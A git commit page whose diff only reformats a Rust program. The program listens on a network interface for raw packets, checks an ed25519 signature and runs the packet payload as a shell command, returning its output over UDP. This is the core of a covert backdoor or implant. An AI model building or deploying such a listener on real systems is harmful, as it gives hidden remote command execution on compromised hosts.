chore: run cargo fmt

This commit is contained in:
Andrew Rioux
2023-05-04 00:47:20 -04:00
parent 798eda764f
commit 978d7cb089
14 changed files with 317 additions and 269 deletions

View File

@@ -1,12 +1,12 @@
use std::process::Stdio;
use std::{sync::Arc, ffi::OsStr};
use std::os::unix::ffi::OsStrExt;
use std::process::Stdio;
use std::{ffi::OsStr, sync::Arc};
use tokio::{self, sync::mpsc, process, io::AsyncReadExt};
use tokio_stream::StreamExt;
use anyhow::{anyhow, bail, Context};
use ed25519_dalek::{PublicKey, Signature, Verifier};
use pcap_sys::{self, packets::EthernetPacket};
use anyhow::{Context, anyhow, bail};
use ed25519_dalek::{PublicKey, Verifier, Signature};
use tokio::{self, io::AsyncReadExt, process, sync::mpsc};
use tokio_stream::StreamExt;
const PUBKEY: &[u8] = include_bytes!("../../key-generator/pubkey");
@@ -14,7 +14,8 @@ const PUBKEY: &[u8] = include_bytes!("../../key-generator/pubkey");
async fn main() -> anyhow::Result<()> {
simple_logger::SimpleLogger::new().init()?;
let pubkey = Arc::new(PublicKey::from_bytes(PUBKEY).context("could not parse generated public key")?);
let pubkey =
Arc::new(PublicKey::from_bytes(PUBKEY).context("could not parse generated public key")?);
log::info!("Pubkey is good");
@@ -41,7 +42,7 @@ async fn main() -> anyhow::Result<()> {
enum EventType {
Packet(Result<EthernetPacket, pcap_sys::error::Error>),
Send(EthernetPacket)
Send(EthernetPacket),
}
let mut packets = interface.stream()?;
@@ -57,7 +58,8 @@ async fn main() -> anyhow::Result<()> {
let packet_sender_clone = packet_sender.clone();
let pubkey_clone = pubkey.clone();
tokio::spawn(async move {
if let Err(e) = handle_command(pubkey_clone, pkt, packet_sender_clone).await {
if let Err(e) = handle_command(pubkey_clone, pkt, packet_sender_clone).await
{
log::warn!("Error handling packet: {e}");
}
});
@@ -75,7 +77,7 @@ async fn main() -> anyhow::Result<()> {
async fn handle_command(
pubkey: Arc<PublicKey>,
eth: EthernetPacket,
send_response: mpsc::Sender<EthernetPacket>
send_response: mpsc::Sender<EthernetPacket>,
) -> anyhow::Result<()> {
use pcap_sys::packets::*;
let eth_pkt = eth.pkt();
@@ -96,7 +98,9 @@ async fn handle_command(
let cmd = &data[64..];
pubkey.verify(cmd, &signature).context("message provided was unauthenticated")?;
pubkey
.verify(cmd, &signature)
.context("message provided was unauthenticated")?;
let cmd = OsStr::from_bytes(cmd);
@@ -110,12 +114,16 @@ async fn handle_command(
.stderr(Stdio::piped())
.spawn()?;
let mut stdout = child.stdout.ok_or(anyhow!("could not get child process stdout"))?;
let mut stderr = child.stderr.ok_or(anyhow!("could not get child process stdout"))?;
let mut stdout = child
.stdout
.ok_or(anyhow!("could not get child process stdout"))?;
let mut stderr = child
.stderr
.ok_or(anyhow!("could not get child process stdout"))?;
enum Output {
Out,
Err
Err,
}
let mut stdout_buffer = [0u8; 1024];
@@ -133,17 +141,25 @@ async fn handle_command(
let msg = &match out_type {
Output::Err => stderr_buffer,
Output::Out => stdout_buffer
Output::Out => stdout_buffer,
}[..len];
let port = match out_type {
Output::Err => 54249,
Output::Out => 54248
Output::Out => 54248,
};
let udp_packet = UDPPacket::construct(54248, port, msg);
let ip_packet = IPv4Packet::construct(ip_pkt.dest_ip(), ip_pkt.source_ip(), &Layer4Packet::UDP(udp_packet));
let eth_packet = EthernetPacket::construct(*eth_pkt.destination_address(), *eth_pkt.source_address(), &Layer3Packet::IPv4(ip_packet));
let ip_packet = IPv4Packet::construct(
ip_pkt.dest_ip(),
ip_pkt.source_ip(),
&Layer4Packet::UDP(udp_packet),
);
let eth_packet = EthernetPacket::construct(
*eth_pkt.destination_address(),
*eth_pkt.source_address(),
&Layer3Packet::IPv4(ip_packet),
);
if let Err(e) = send_response.send(eth_packet).await {
log::warn!("Could not send response packet: {e:?}");
}
@@ -152,4 +168,4 @@ async fn handle_command(
log::info!("Done executing command {cmd:?}");
Ok(())
}
}